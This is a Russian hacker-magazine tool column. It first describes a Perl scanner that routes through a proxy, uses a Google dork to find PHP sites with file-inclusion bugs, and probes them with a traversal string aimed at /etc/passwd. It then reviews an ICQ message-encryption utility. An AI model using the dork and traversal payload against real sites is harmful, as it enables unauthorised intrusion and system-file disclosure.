X-Tools

Леонид «R0id» Стройков

Хакер, номер #096, стр. 096-094-2

# proxy IP

$proxy_host = "127.0.0.1";

# proxy PORT

$proxy_port = 65011;

Смело вбивай IP своего прокси-сервера в значение переменной $proxy_host, а порт указывай в $proxy_port. Здесь все понятно. Едем дальше. При запуске скрипт коннектится через проксик к Гуглу, после чего отсылает ему запрос на поиск бага (инклуда):

$search="Warning+open+file+open%28%29+inurl%3A.htm+filetype%3Aphp";

$start=60;

$g00gle="www.google.ru/search?q=$search&hl=en&lr=&start=$start&sa=N";

$hosts_file="$start.log";

$etc_passwd="../../../../../../../../../../../../etc/passwd";

$fti=".htm";

$modifed_urlz="modifed.log";

Как ты видишь, значение, передаваемое переменной $search, - это и есть запрос к поисковику. При желании ты вполне можешь заменить его своим. Далее идет объявление переменной $etc_passwd, используя которую, скрипт и выявляет наличие инклуда на сайте. Я не буду приводить здесь полный код сорца, так как, во-первых, это займет весь выпуск «X-Tools», а во-вторых, сканер лежит на нашем диске. Пользуйся =).

Программа: Secured Message Transfer System

ОС: Windows 2000/XP

Автор: Underground Community

Помнится, в одном из прошлых номеров я предлагал тебе использовать SST как аналог ICQ. Причиной являлось 128-битное шифрование всех отправляемых сообщений SST-клиентом. Тогда же я упоминал о том, что в андеграунде ведется разработка софта, позволяющего сделать общение в сети более безопасным. Что ж, хочу тебя обрадовать - такой софт был создан! И он лежит на нашем диске :). Имя ему - Secured Message Transfer System (sourceforge.net/project/showfiles.php?group_id=177613). Эта тулза обладает рядом достоинств. Во-первых, она работает почти со всеми ICQ-клиентами, во-вторых, она бесплатная (для тебя), а в-третьих, софтина носит статус OpenSource. Все передаваемые сообщения надежно криптуются утилитой при помощи твоего личного ключа. Для успешного функционирования тулзы тебе понадобится Framework 2.0, который ты всегда можешь слить с официального сайта Microsoft. Далее тебе следует запустить SecureICQ.exe, выбрать File -> Add local UIN (Ctrl+N) и вписать туда свой номер аси. Длину ключа также рекомендую указать дефолтную (4096 бит). После этого будет произведена генерация секретного ключика. Для успешного использования тулзы стоит всего лишь настроить клиент на коннект через HTTPS Proxy на 127.0.0.1:3128. Затем ты можешь скопировать свой личный ключ (SecureICQ -> File -> Copy public key) и передать его другу, который произведет у себя аналогичные действия. Затем тебе нужно будет лишь добавить его уин (File -> Add Remote UIN) и ключик, полученный от него. Вот и все. Надежный канал связи готов к бою =).